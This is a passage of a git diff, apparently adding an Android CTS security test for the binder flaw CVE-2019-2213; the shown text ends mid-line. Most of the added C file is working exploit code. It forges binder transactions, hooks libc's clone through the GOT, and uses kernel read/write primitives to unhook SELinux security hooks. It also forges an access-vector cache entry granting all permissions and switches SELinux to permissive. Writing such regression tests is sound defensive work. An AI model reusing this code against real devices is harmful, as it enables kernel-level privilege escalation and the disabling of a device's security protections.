b41f33d8fe4..5afe33c4ce6 100644 --- a/tests/tests/security/Android.bp +++ b/tests/tests/security/Android.bp @@ -43,6 +43,7 @@ android_test { "libc++", "libpcre2", "libpackagelistparser", + "libcve_2019_2213_jni", ], srcs: [ "src/**/*.java", diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml index 5da74a86822..6eaaaa5c622 100644 --- a/tests/tests/security/AndroidManifest.xml +++ b/tests/tests/security/AndroidManifest.xml @@ -51,6 +51,15 @@ </activity> <activity + android:name="android.security.cts.BinderExploitTest$CVE_2019_2213_Activity" + android:label="Test Binder Exploit Race Condition activity"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + + <activity android:name="android.security.cts.NanoAppBundleTest$FailActivity" android:label="Test Nano AppBundle customized failure catch activity"> <intent-filter> diff --git a/tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl b/tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl new file mode 100644 index 00000000000..1b6d7d9aa6d --- /dev/null +++ b/tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl @@ -0,0 +1,24 @@ +/* + * Copyright 2019 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.os.IBinder; + +interface IBinderExchange { + void putBinder(in IBinder bnd); + IBinder getBinder(); +} diff --git a/tests/tests/security/jni/Android.bp b/tests/tests/security/jni/Android.bp index 27f6289a69a..b667f18252b 100644 --- a/tests/tests/security/jni/Android.bp +++ b/tests/tests/security/jni/Android.bp @@ -31,3 +31,25 @@ cc_library { "libcutils", ], } + +cc_library { + name: "libcve_2019_2213_jni", + srcs: [ + "android_security_cts_cve_2019_2213_Test.c", + ], + shared_libs: [ + "libnativehelper_compat_libc++", + ], + static_libs: [ + "cpufeatures", + "libcutils", + ], + cflags: [ + "-Werror", + "-Wpointer-arith", + "-Wno-unused-parameter", + "-Wno-sign-compare", + "-Wno-unused-label", + "-Wno-unused-variable", + ], +} diff --git a/tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c b/tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c new file mode 100644 index 00000000000..90557a0134d --- /dev/null +++ b/tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c @@ -0,0 +1,1911 @@ +/* + * Copyright (C) 2019 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#define _GNU_SOURCE +#include <sys/mman.h> +#include <sys/types.h> +#include <sys/stat.h> +#include <sys/socket.h> +#include <sys/un.h> +#include <sys/prctl.h> + +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <syscall.h> +#include <pthread.h> +#include <dirent.h> +#include <unistd.h> +#include <fcntl.h> +#include <errno.h> +#include <sched.h> +#include <poll.h> +#include <elf.h> + +#include <cutils/log.h> +#include <cutils/properties.h> +#include <jni.h> +#include <linux/android/binder.h> +#include <cpu-features.h> + +#include "../../../../hostsidetests/securitybulletin/securityPatch/includes/common.h" + +typedef uint8_t u8; +typedef uint16_t u16; +typedef uint32_t u32; +typedef uint64_t u64; +typedef int64_t s64; + +jobject this; +jmethodID add_log; +JavaVM *jvm; + +#define MAX_THREADS 10 + +struct tid_jenv { + int tid; + JNIEnv *env; +}; +struct tid_jenv tid_jenvs[MAX_THREADS]; +int num_threads; + +int gettid() { + return (int)syscall(SYS_gettid); +} + +void fail(char *msg, ...); + +void add_jenv(JNIEnv *e) { + if (num_threads >= MAX_THREADS) { + fail("too many threads"); + return; + } + struct tid_jenv *te = &tid_jenvs[num_threads++]; + te->tid = gettid(); + te->env = e; +} + +JNIEnv *get_jenv() { + int tid = gettid(); + for (int i = 0; i < num_threads; i++) { + struct tid_jenv *te = &tid_jenvs[i]; + if (te->tid == tid) + return te->env; + } + return NULL; +} + +void jni_attach_thread() { + JNIEnv *env; + (*jvm)->AttachCurrentThread(jvm, &env, NULL); + add_jenv(env); +} + +pthread_mutex_t log_mut = PTHREAD_MUTEX_INITIALIZER; +pthread_cond_t log_pending = PTHREAD_COND_INITIALIZER; +pthread_cond_t log_done = PTHREAD_COND_INITIALIZER; +volatile char *log_line; + +void send_log_thread(char *msg) { + pthread_mutex_lock(&log_mut); + while (log_line) + pthread_cond_wait(&log_done, &log_mut); + log_line = msg; + pthread_cond_signal(&log_pending); + pthread_mutex_unlock(&log_mut); +} + +void dbg(char *msg, ...); + +void log_thread(u64 arg) { + while (1) { + pthread_mutex_lock(&log_mut); + while (!log_line) + pthread_cond_wait(&log_pending, &log_mut); + dbg("%s", log_line); + free((void*)log_line); + log_line = NULL; + pthread_cond_signal(&log_done); + pthread_mutex_unlock(&log_mut); + } +} + +void dbg(char *msg, ...) { + char *line; + va_list va; + JNIEnv *env = get_jenv(); + va_start(va, msg); + if (vasprintf(&line, msg, va) >= 0) { + if (env) { + jstring jline = (*env)->NewStringUTF(env, line); + (*env)->CallVoidMethod(env, this, add_log, jline); + free(line); + } else { + send_log_thread(line); + } + } + va_end(va); +} + +void fail(char *msg, ...) { + char *line; + va_list va; + va_start(va, msg); + if (vasprintf(&line, msg, va) >= 0) + dbg("FAIL: %s (errno=%d)", line, errno); + va_end(va); +} + +struct buffer { + char *p; + u32 size; + u32 off; +}; + +typedef struct buffer buf_t; + +struct parser { + u8 *buf; + u8 *p; + u32 size; +}; + +typedef struct parser parser_t; + +parser_t *new_parser() { + parser_t *ret = malloc(sizeof(parser_t)); + ret->size = 0x400; + ret->buf = ret->p = malloc(ret->size); + return ret; +} + +void free_parser(parser_t *parser) { + free(parser->buf); + free(parser); +} + +int parser_end(parser_t *p) { + return !p->size; +} + +void *parser_get(parser_t *p, u32 sz) { + if (sz > p->size) { + fail("parser size exceeded"); + return NULL; + } + p->size -= sz; + u8 *ret = p->p; + p->p += sz; + return ret; +} + +u32 parse_u32(parser_t *p) { + u32 *pu32 = parser_get(p, sizeof(u32)); + return (pu32 == NULL) ? (u32)-1 : *pu32; +} + +buf_t *new_buf_sz(u32 sz) { + buf_t *b = malloc(sizeof(buf_t)); + b->size = sz; + b->off = 0; + b->p = malloc(sz); + return b; +} + +buf_t *new_buf() { + return new_buf_sz(0x200); +} + +void free_buf(buf_t *buf) { + free(buf->p); + free(buf); +} + +void *buf_alloc(buf_t *b, u32 s) { + s = (s + 3) & ~3; + if (b->size - b->off < s) + fail("out of buf space"); + char *ret = b->p + b->off; + b->off += s; + memset(ret, 0x00, s); + return ret; +} + +void buf_u32(buf_t *b, u32 v) { + char *p = buf_alloc(b, sizeof(u32)); + *(u32*)p = v; +} + +void buf_u64(buf_t *b, u64 v) { + char *p = buf_alloc(b, sizeof(u64)); + *(u64*)p = v; +} + +void buf_uintptr(buf_t *b, u64 v) { + char *p = buf_alloc(b, sizeof(u64)); + *(u64*)p = v; +} + +void buf_str16(buf_t *b, const char *s) { + if (!s) { + buf_u32(b, 0xffffffff); + return; + } + u32 len = strlen(s); + buf_u32(b, len); + u16 *dst = (u16*)buf_alloc(b, (len + 1) * 2); + for (u32 i = 0; i < len; i++) + dst[i] = s[i]; + dst[len] = 0; +} + +void buf_binder(buf_t *b, buf_t *off, void *ptr) { + buf_u64(off, b->off); + struct flat_binder_object *fp = buf_alloc(b, sizeof(*fp)); + fp->hdr.type = BINDER_TYPE_BINDER; + fp->flags = FLAT_BINDER_FLAG_ACCEPTS_FDS; + fp->binder = (u64)ptr; + fp->cookie = 0; +} + +static inline void binder_write(int fd, buf_t *buf); + +void enter_looper(int fd) { + buf_t *buf = new_buf(); + buf_u32(buf, BC_ENTER_LOOPER); + binder_write(fd, buf); +} + +void init_binder(int fd) { + void *map_ret = mmap(NULL, 0x200000, PROT_READ, MAP_PRIVATE, fd, 0); + if (map_ret == MAP_FAILED) + fail("map fail"); + enter_looper(fd); +} + +int open_binder() { + int fd = open("/dev/binder", O_RDONLY); + if (fd < 0) + fail("open binder fail"); + init_binder(fd); + return fd; +} + +static inline void binder_rw(int fd, void *rbuf, u32 rsize, + void *wbuf, u32 wsize, u32 *read_consumed, u32 *write_consumed) { + struct binder_write_read bwr; + memset(&bwr, 0x00, sizeof(bwr)); + bwr.read_buffer = (u64)rbuf; + bwr.read_size = rsize; + bwr.write_buffer = (u64)wbuf; + bwr.write_size = wsize; + if (ioctl(fd, BINDER_WRITE_READ, &bwr) < 0) + fail("binder ioctl fail"); + if (read_consumed) + *read_consumed = bwr.read_consumed; + if (write_consumed) + *write_consumed = bwr.write_consumed; +} + +void binder_read(int fd, void *rbuf, u32 rsize, u32 *read_consumed) { + binder_rw(fd, rbuf, rsize, 0, 0, read_consumed, NULL); +} + +static inline void binder_write(int fd, buf_t *buf) { + u32 write_consumed; + binder_rw(fd, 0, 0, buf->p, buf->off, NULL, &write_consumed); + if (write_consumed != buf->off) + fail("binder write fail"); + free_buf(buf); +} + +void do_send_txn(int fd, u32 to, u32 code, buf_t *trdat, buf_t *troff, int oneway, int is_reply, binder_size_t extra_sz) { + buf_t *buf = new_buf(); + buf_u32(buf, is_reply ? BC_REPLY_SG : BC_TRANSACTION_SG); + struct binder_transaction_data_sg *tr; + tr = buf_alloc(buf, sizeof(*tr)); + struct binder_transaction_data *trd = &tr->transaction_data; + trd->target.handle = to; + trd->code = code; + if (oneway) + trd->flags |= TF_ONE_WAY; + trd->data.ptr.buffer = trdat ? (u64)trdat->p : 0; + trd->data.ptr.offsets = troff ? (u64)troff->p : 0; + trd->data_size = trdat ? trdat->off : 0; + trd->offsets_size = troff ? troff->off : 0; + tr->buffers_size = extra_sz; + binder_write(fd, buf); + if (trdat) + free_buf(trdat); + if (troff) + free_buf(troff); +} + +void send_txn(int fd, u32 to, u32 code, buf_t *trdat, buf_t *troff) { + do_send_txn(fd, to, code, trdat, troff, 0, 0, 0); +} + +void send_reply(int fd) { + do_send_txn(fd, 0, 0, NULL, NULL, 0, 1, 0); +} + +static inline void chg_ref(int fd, unsigned desc, u32 cmd) { + buf_t *buf = new_buf(); + buf_u32(buf, cmd); + buf_u32(buf, desc); + binder_write(fd, buf); +} + +void inc_ref(int fd, unsigned desc) { + chg_ref(fd, desc, BC_ACQUIRE); +} + +void dec_ref(int fd, unsigned desc) { + chg_ref(fd, desc, BC_RELEASE); +} + +static inline void free_buffer(int fd, u64 ptr) { + buf_t *buf = new_buf(); + buf_u32(buf, BC_FREE_BUFFER); + buf_uintptr(buf, ptr); + binder_write(fd, buf); +} + +typedef struct { + int fd; + char *buf; + binder_size_t size; + binder_size_t parsed; + binder_size_t *offsets; + binder_size_t num_offsets; + u32 code; + u64 ptr; +} txn_t; + +void *txn_get(txn_t *t, u32 sz) { + sz = (sz + 3) & ~3u; + if (sz > t->size - t->parsed) + fail("txn get not enough data"); + char *ret = t->buf + t->parsed; + t->parsed += sz; + return ret; +} + +binder_size_t txn_offset(txn_t *t) { + return t->parsed; +} + +void txn_set_offset(txn_t *t, binder_size_t off) { + t->parsed = off; +} + +u32 txn_u32(txn_t *t) { + return *(u32*)txn_get(t, sizeof(u32)); +} + +int txn_int(txn_t *t) { + return *(int*)txn_get(t, sizeof(int)); +} + +u32 txn_handle(txn_t *t) { + struct flat_binder_object *fp; + fp = txn_get(t, sizeof(*fp)); + if (fp->hdr.type != BINDER_TYPE_HANDLE) + fail("expected binder"); + return fp->handle; +} + +u16 *txn_str(txn_t *t) { + int len = txn_int(t); + if (len == -1) + return NULL; + if (len > 0x7fffffff / 2 - 1) + fail("bad txn str len"); + return txn_get(t, (len + 1) * 2); +} + +static inline u64 txn_buf(txn_t *t) { + return (u64)t->buf; +} + +void free_txn(txn_t *txn) { + free_buffer(txn->fd, txn_buf(txn)); +} + + +void handle_cmd(int fd, u32 cmd, void *dat) { + if (cmd == BR_ACQUIRE || cmd == BR_INCREFS) { + struct binder_ptr_cookie *pc = dat; + buf_t *buf = new_buf(); + u32 reply = cmd == BR_ACQUIRE ? BC_ACQUIRE_DONE : BC_INCREFS_DONE; + buf_u32(buf, reply); + buf_uintptr(buf, pc->ptr); + buf_uintptr(buf, pc->cookie); + binder_write(fd, buf); + } +} + +void recv_txn(int fd, txn_t *t) { + u32 found = 0; + while (!found) { + parser_t *p = new_parser(); + binder_read(fd, p->p, p->size, &p->size); + while (!parser_end(p)) { + u32 cmd = parse_u32(p); + void *dat = (void *)parser_get(p, _IOC_SIZE(cmd)); + if (dat == NULL) { + return; + } + handle_cmd(fd, cmd, dat); + if (cmd == BR_TRANSACTION || cmd == BR_REPLY) { + struct binder_transaction_data *tr = dat; + if (!parser_end(p)) + fail("expected parser end"); + t->fd = fd; + t->buf = (char*)tr->data.ptr.buffer; + t->parsed = 0; + t->size = tr->data_size; + t->offsets = (binder_size_t*)tr->data.ptr.offsets; + t->num_offsets = tr->offsets_size / sizeof(binder_size_t); + t->code = tr->code; + t->ptr = tr->target.ptr; + found = 1; + } + } + free_parser(p); + } +} + +u32 recv_handle(int fd) { + txn_t txn; + recv_txn(fd, &txn); + u32 hnd = txn_handle(&txn); + inc_ref(fd, hnd); + free_txn(&txn); + return hnd; +} + +u32 get_activity_svc(int fd) { + buf_t *trdat = new_buf(); + buf_u32(trdat, 0); // policy + buf_str16(trdat, "android.os.IServiceManager"); + buf_str16(trdat, "activity"); + int SVC_MGR_GET_SERVICE = 1; + send_txn(fd, 0, SVC_MGR_GET_SERVICE, trdat, NULL); + return recv_handle(fd); +} + +void txn_part(txn_t *t) { + int repr = txn_int(t); + if (repr == 0) { + txn_str(t); + txn_str(t); + } else if (repr == 1 || repr == 2) { + txn_str(t); + } else { + fail("txn part bad repr"); + } +} + +void txn_uri(txn_t *t) { + int type = txn_int(t); + if (type == 0) // NULL_TYPE_ID + return; + if (type == 1) { // StringUri.TYPE_ID + txn_str(t); + } else if (type == 2) { + txn_str(t); + txn_part(t); + txn_part(t); + } else if (type == 3) { + txn_str(t); + txn_part(t); + txn_part(t); + txn_part(t); + txn_part(t); + } else { + fail("txn uri bad type"); + } +} + +void txn_component(txn_t *t) { + u16 *pkg = txn_str(t); + if (pkg) + txn_str(t); // class +} + +void txn_rect(txn_t *t) { + txn_int(t); + txn_int(t); + txn_int(t); + txn_int(t); +} + +int str16_eq(u16 *s16, char *s) { + while (*s) { + if (*s16++ != *s++) + return 0; + } + return !*s16; +} + +void txn_bundle(txn_t *t, u32 *hnd) { + int len = txn_int(t); + if (len < 0) + fail("bad bundle len"); + if (len == 0) + return; + int magic = txn_int(t); + if (magic != 0x4c444e42 && magic != 0x4c444e44) + fail("bad bundle magic"); + binder_size_t off = txn_offset(t); + int count = txn_int(t); + if (count == 1) { + u16 *key = txn_str(t); + int type = txn_int(t); + if (str16_eq(key, "bnd") && type == 15) + *hnd = txn_handle(t); + } + txn_set_offset(t, off); + txn_get(t, len); +} + +void txn_intent(txn_t *t, u32 *hnd) { + txn_str(t); // action + txn_uri(t); + txn_str(t); // type + txn_int(t); // flags + txn_str(t); // package + txn_component(t); + if (txn_int(t)) // source bounds + txn_rect(t); + int n = txn_int(t); + if (n > 0) { + for (int i = 0; i < n; i++) + txn_str(t); + } + if (txn_int(t)) // selector + txn_intent(t, NULL); + if (txn_int(t)) + fail("unexpected clip data"); + txn_int(t); // content user hint + txn_bundle(t, hnd); // extras +} + +void get_task_info(int fd, u32 app_task, u32 *hnd) { + buf_t *trdat = new_buf(); + buf_u32(trdat, 0); // policy + buf_str16(trdat, "android.app.IAppTask"); + send_txn(fd, app_task, 1 + 1, trdat, NULL); + txn_t txn; + recv_txn(fd, &txn); + if (txn_u32(&txn) != 0) + fail("getTaskInfo exception"); + if (txn_int(&txn) == 0) + fail("getTaskInfo returned null"); + txn_int(&txn); // id + txn_int(&txn); // persistent id + if (txn_int(&txn) > 0) // base intent + txn_intent(&txn, hnd); + if (*hnd != ~0u) + inc_ref(fd, *hnd); + free_txn(&txn); +} + +u32 get_app_tasks(int fd, u32 actsvc) { + buf_t *trdat = new_buf(); + buf_u32(trdat, 0); // policy + buf_str16(trdat, "android.app.IActivityManager"); + buf_str16(trdat, "android.security.cts"); + send_txn(fd, actsvc, 1 + 199, trdat, NULL); + txn_t txn; + recv_txn(fd, &txn); + if (txn_u32(&txn) != 0) + fail("getAppTasks exception"); + int n = txn_int(&txn); + if (n < 0) + fail("getAppTasks n < 0"); + u32 hnd = ~0u; + for (int i = 0; i < n; i++) { + u32 app_task = txn_handle(&txn); + get_task_info(fd, app_task, &hnd); + if (hnd != ~0u) + break; + } + if (hnd == ~0u) + fail("didn't find intent extras binder"); + free_txn(&txn); + return hnd; +} + +u32 get_exchg(int fd) { + u32 actsvc = get_activity_svc(fd); + u32 ret = get_app_tasks(fd, actsvc); + dec_ref(fd, actsvc); + return ret; +} + +int get_binder(u32 *exchg) { + int fd = open_binder(); + *exchg = get_exchg(fd); + return fd; +} + +void exchg_put_binder(int fd, u32 exchg) { + buf_t *trdat = new_buf(); + buf_t *troff = new_buf(); + buf_u32(trdat, 0); // policy + buf_str16(trdat, "android.security.cts.IBinderExchange"); + buf_binder(trdat, troff, (void*)1); + send_txn(fd, exchg, 1, trdat, troff); + txn_t txn; + recv_txn(fd, &txn); + free_txn(&txn); +} + +u32 exchg_get_binder(int fd, u32 exchg) { + buf_t *trdat = new_buf(); + buf_u32(trdat, 0); // policy + buf_str16(trdat, "android.security.cts.IBinderExchange"); + send_txn(fd, exchg, 2, trdat, NULL); + txn_t txn; + recv_txn(fd, &txn); + if (txn_u32(&txn) != 0) + fail("getBinder exception"); + u32 hnd = txn_handle(&txn); + inc_ref(fd, hnd); + free_txn(&txn); + return hnd; +} + +void set_idle() { + struct sched_param param = { + .sched_priority = 0 + }; + if (sched_setscheduler(0, SCHED_IDLE, ¶m) < 0) + fail("sched_setscheduler fail"); +} + +int do_set_cpu(int cpu) { + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(cpu, &set); + return sched_setaffinity(0, sizeof(set), &set); +} + +void set_cpu(int cpu) { + if (do_set_cpu(cpu) < 0) + fail("sched_setaffinity fail"); +} + +struct sync { + pthread_cond_t cond; + pthread_mutex_t mutex; + volatile int triggered; + size_t num_waiters; + volatile size_t num_waited; + volatile size_t num_done; +}; + +typedef struct sync sync_t; + +sync_t *alloc_sync() { + sync_t *ret = malloc(sizeof(sync_t)); + if (pthread_mutex_init(&ret->mutex, NULL) || + pthread_cond_init(&ret->cond, NULL)) + fail("pthread init failed"); + ret->triggered = 0; + ret->num_waiters = 1; + ret->num_waited = 0; + ret->num_done = 0; + return ret; +} + +void sync_set_num_waiters(sync_t *sync, size_t num_waiters) { + sync->num_waiters = num_waiters; +} + +void sync_pth_bc(sync_t *sync) { + if (pthread_cond_broadcast(&sync->cond) != 0) + fail("pthread_cond_broadcast failed"); +} + +void sync_pth_wait(sync_t *sync) { + pthread_cond_wait(&sync->cond, &sync->mutex); +} + +void sync_wait(sync_t *sync) { + pthread_mutex_lock(&sync->mutex); + sync->num_waited++; + sync_pth_bc(sync); + while (!sync->triggered) + sync_pth_wait(sync); + pthread_mutex_unlock(&sync->mutex); +} + +void sync_signal(sync_t *sync) { + pthread_mutex_lock(&sync->mutex); + while (sync->num_waited != sync->num_waiters) + sync_pth_wait(sync); + sync->triggered = 1; + sync_pth_bc(sync); + pthread_mutex_unlock(&sync->mutex); +} + +void sync_done(sync_t *sync) { + pthread_mutex_lock(&sync->mutex); + sync->num_done++; + sync_pth_bc(sync); + while (sync->triggered) + sync_pth_wait(sync); + pthread_mutex_unlock(&sync->mutex); +} + +void sync_wait_done(sync_t *sync) { + pthread_mutex_lock(&sync->mutex); + while (sync->num_done != sync->num_waiters) + sync_pth_wait(sync); + sync->triggered = 0; + sync->num_waited = 0; + sync->num_done = 0; + sync_pth_bc(sync); + pthread_mutex_unlock(&sync->mutex); +} + +static inline void ns_to_timespec(u64 t, struct timespec *ts) { + const u64 k = 1000000000; + ts->tv_sec = t / k; + ts->tv_nsec = t % k; +} + +static inline u64 timespec_to_ns(volatile struct timespec *t) { + return (u64)t->tv_sec * 1000000000 + t->tv_nsec; +} + +static inline u64 time_now() { + struct timespec now; + if (clock_gettime(CLOCK_MONOTONIC, &now) < 0) + fail("clock_gettime failed"); + return timespec_to_ns(&now); +} + +static inline void sleep_until(u64 t) { + struct timespec wake; + ns_to_timespec(t, &wake); + int ret = clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &wake, NULL); + if (ret && ret != EINTR) + fail("clock_nanosleep failed"); +} + +void set_thread_name(const char *name) { + if (prctl(PR_SET_NAME, name) < 0) + fail("pr_set_name fail"); +} + +void set_timerslack() { + char path[64]; + sprintf(path, "/proc/%d/timerslack_ns", gettid()); + int fd = open(path, O_WRONLY); + if (fd < 0) + fail("open timerslack fail"); + if (write(fd, "1\n", 2) != 2) + fail("write timeslack fail"); + close(fd); +} + +struct launch_dat { + u64 arg; + void (*func)(u64); + int attach_jni; + const char *name; +}; + +void *thread_start(void *vdat) { + struct launch_dat *dat = vdat; + if (dat->attach_jni) + jni_attach_thread(); + set_thread_name(dat->name); + void (*func)(u64) = dat->func; + u64 arg = dat->arg; + free(dat); + (*func)(arg); + return NULL; +} + +int launch_thread(const char *name, void (*func)(u64), sync_t **sync, u64 arg, + int attach_jni) { + if (sync) + *sync = alloc_sync(); + struct launch_dat *dat = malloc(sizeof(*dat)); + dat->func = func; + dat->arg = arg; + dat->attach_jni = attach_jni; + dat->name = name; + pthread_t th; + if (pthread_create(&th, NULL, thread_start, dat) != 0) + fail("pthread_create failed"); + return pthread_gettid_np(th); +} + +void *map_path(const char *path, u64 *size) { + int fd = open(path, O_RDONLY); + if (fd < 0) + fail("open libc fail"); + struct stat st; + if (fstat(fd, &st) < 0) + fail("fstat fail"); + void *map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); + if (map == MAP_FAILED) + fail("mmap libc fail"); + *size = st.st_size; + close(fd); + return map; +} + +typedef Elf64_Ehdr ehdr_t; +typedef Elf64_Shdr shdr_t; +typedef Elf64_Rela rela_t; +typedef Elf64_Sym sym_t; + +shdr_t *find_rela_plt(void *elf) { + ehdr_t *ehdr = (ehdr_t *)elf; + shdr_t *shdr = ((shdr_t *)elf) + ehdr->e_shoff; + char *shstr = ((char *)elf) + shdr[ehdr->e_shstrndx].sh_offset; + for (u64 i = 0; i < ehdr->e_shnum; i++) { + char *name = shstr + shdr[i].sh_name; + if (strcmp(name, ".rela.plt") == 0) + return &shdr[i]; + } + fail("didn't find .rela.plt"); + return NULL; +} + +u64 find_elf_clone_got(const char *path) { + u64 mapsz; + void *elf = map_path(path, &mapsz); + ehdr_t *ehdr = (ehdr_t *)elf; + shdr_t *shdr = ((shdr_t *)elf) + ehdr->e_shoff; + shdr_t *rphdr = find_rela_plt(elf); + if (rphdr == NULL) { + return (u64)0; + } + shdr_t *symhdr = &shdr[rphdr->sh_link]; + shdr_t *strhdr = &shdr[symhdr->sh_link]; + sym_t *sym = ((sym_t *)elf) + symhdr->sh_offset; + char *str = ((char *)elf) + strhdr->sh_offset; + rela_t *r = ((rela_t *)elf) + rphdr->sh_offset; + rela_t *end = r + rphdr->sh_size / sizeof(rela_t); + u64 ret = 0; + for (; r < end; r++) { + sym_t *s = &sym[ELF64_R_SYM(r->r_info)]; + if (strcmp(str + s->st_name, "clone") == 0) { + ret = r->r_offset; + break; + } + } + if (!ret) { + fail("clone rela not found"); + return (u64)0; + } + if (munmap(elf, mapsz) < 0) { + fail("munmap fail"); + return (u64)0; + } + return ret; +} + +int hook_tid; +int (*real_clone)(u64 a, u64 b, int flags, u64 c, u64 d, u64 e, u64 f); + +int clone_unshare_files(u64 a, u64 b, int flags, u64 c, u64 d, u64 e, u64 f) { + if (gettid() == hook_tid) + flags &= ~CLONE_FILES; + return (*real_clone)(a, b, flags, c, d, e, f); +} + +void unshare_following_clone_files() { + hook_tid = gettid(); +} + +void hook_clone() { + void *p = (void*)((uintptr_t)clone & ~0xffful); + while (*(u32*)p != 0x464c457f) + p = (void *)(((u32 *)p) - 0x1000); + u64 *got = ((u64 *)p) + find_elf_clone_got("/system/lib64/libc.so"); + if (*got != (u64)clone) + fail("bad got"); + real_clone = (void*)clone; + void *page = (void*)((u64)got & ~0xffful); + if (mprotect(page, 0x1000, PROT_READ | PROT_WRITE) < 0) { + fail("got mprotect fail"); + return; + } + *got = (u64)clone_unshare_files; +} + +u32 r32(u64 addr); +u64 r64(u64 addr); +void w64(u64 addr, u64 val); +void w128(u64 addr, u64 v1, u64 v2); +u64 scratch; +u64 rw_task; +u64 current; +u64 fdarr; + +void hlist_del(u64 node) { + u64 next = r64(node); + u64 pprev = r64(node + 8); + if (r64(pprev) != node) { + fail("bad hlist"); + return; + } + w64(pprev, next); + if (next) + w64(next + 8, pprev); +} + +u64 get_file(int fd) { + return r64(fdarr + fd * 8); +} + +u64 first_bl(u64 func) { + for (int i = 0; i < 30; i++) { + u32 inst = r32(func + i * 4); + if ((inst >> 26) == 0x25) { // bl + s64 off = inst & ((1u << 26) - 1); + off <<= 64 - 26; + off >>= 64 - 26; + return func + i * 4 + off * 4; + } + } + fail("bl not found"); + return (u64)-1; +} + +int is_adrp(u32 inst) { + return ((inst >> 24) & 0x9f) == 0x90; +} + +u64 parse_adrp(u64 p, u32 inst) { + s64 off = ((inst >> 5) & ((1u << 19) - 1)) << 2; + off |= (inst >> 29) & 3; + off <<= (64 - 21); + off >>= (64 - 21 - 12); + return (p & ~0xffful) + off; +} + +u64 find_adrp_add(u64 addr) { + time_t test_started = start_timer(); + while (timer_active(test_started)) { + u32 inst = r32(addr); + if (is_adrp(inst)) { + u64 ret = parse_adrp(addr, inst); + inst = r32(addr + 4); + if ((inst >> 22) != 0x244) { + fail("not add after adrp"); + return (u64)-1; + } + ret += (inst >> 10) & ((1u << 12) - 1); + return ret; + } + addr += 4; + } + fail("adrp add not found"); + return (u64)-1; +} + +u64 locate_hooks() { + char path[256]; + DIR *d = opendir("/proc/self/map_files"); + char *p; + while (1) { + struct dirent *l = readdir(d); + if (!l) + fail("readdir fail"); + p = l->d_name; + if (strcmp(p, ".") && strcmp(p, "..")) + break; + } + sprintf(path, "/proc/self/map_files/%s", p); + closedir(d); + int fd = open(path, O_PATH | O_NOFOLLOW | O_RDONLY); + if (fd < 0) + fail("link open fail"); + struct stat st; + if (fstat(fd, &st) < 0) + fail("fstat fail"); + if (!S_ISLNK(st.st_mode)) + fail("link open fail"); + u64 file = get_file(fd); + u64 inode = r64(file + 0x20); + u64 iop = r64(inode + 0x20); + u64 follow_link = r64(iop + 8); + u64 cap = first_bl(follow_link); + u64 scap = first_bl(cap); + if (cap == (u64)-1 || scap == (u64)-1) { + dbg("cap=%016zx", cap); + dbg("scap=%016zx", scap); + return (u64)-1; + } + u64 hooks = find_adrp_add(scap); + close(fd); + dbg("hooks=%016zx", hooks); + return hooks; +} + +void unhook(u64 hooks, int idx) { + u64 hook = hooks + idx * 0x10; + w128(hook, hook, hook); +} + +u64 locate_avc(u64 hooks) { + u64 se_file_open = r64(r64(hooks + 0x490) + 0x18); + u64 seqno = first_bl(se_file_open); + if (seqno == (u64)-1) { + dbg("seqno=%016zx", seqno); + return (u64)-1; + } + u64 avc = find_adrp_add(seqno); + dbg("avc=%016zx", avc); + return avc; +} + +u32 get_sid() { + u64 real_cred = r64(current + 0x788); + u64 security = r64(real_cred + 0x78); + u32 sid = r32(security + 4); + dbg("sid=%u", sid); + return sid; +} + +struct avc_node { + u32 ssid; + u32 tsid; + u16 tclass; + u16 pad; + u32 allowed; +}; + +u64 grant(u64 avc, u32 ssid, u32 tsid, u16 class) { + struct avc_node n; + n.ssid = ssid; + n.tsid = tsid; + n.tclass = class; + n.pad = 0; + n.allowed = ~0u; + u64 node = scratch; + for (int i = 0; i < 9; i++) + w64(node + i * 8, 0); + u64 *src = (u64*)&n; + w64(node, src[0]); + w64(node + 8, src[1]); + int hash = (ssid ^ (tsid<<2) ^ (class<<4)) & 0x1ff; + u64 head = avc + hash * 8; + u64 hl = node + 0x28; + u64 first = r64(head); + w128(hl, first, head); + if (first) + w64(first + 8, hl); + w64(head, hl); + dbg("granted security sid"); + return hl; +} + +int enforce() { + int fd = open("/sys/fs/selinux/enforce", O_RDONLY); + if (fd < 0) + return 1; + dbg("enforce=%d", fd); + char buf; + if (read(fd, &buf, 1) != 1) + return 1; + close(fd); + return buf == '1'; +} + +void disable_enforce() { + int fd = open("/sys/fs/selinux/enforce", O_WRONLY); + if (fd >= 0) { + write(fd, "0", 1); + close(fd); + } + if (enforce()) + fail("failed to switch selinux to permissive"); + dbg("selinux now permissive"); +} + +void disable_selinux() { + if (!enforce()) { + dbg("selinux already permissive"); + return; + } + u64 hooks = locate_hooks(); + if (hooks == (u64)-1) { + return; + } + u64 avc = locate_avc(hooks); + if (avc == (u64)-1) { + return; + } + unhook(hooks, 0x08); // capable + unhook(hooks, 0x2f); // inode_permission + unhook(hooks, 0x3d); // file_permission + unhook(hooks, 0x49); // file_open + u64 avcnode = grant(avc, get_sid(), 2, 1); + disable_enforce(); + hlist_del(avcnode); +} + +#define PIPES 8 +#define 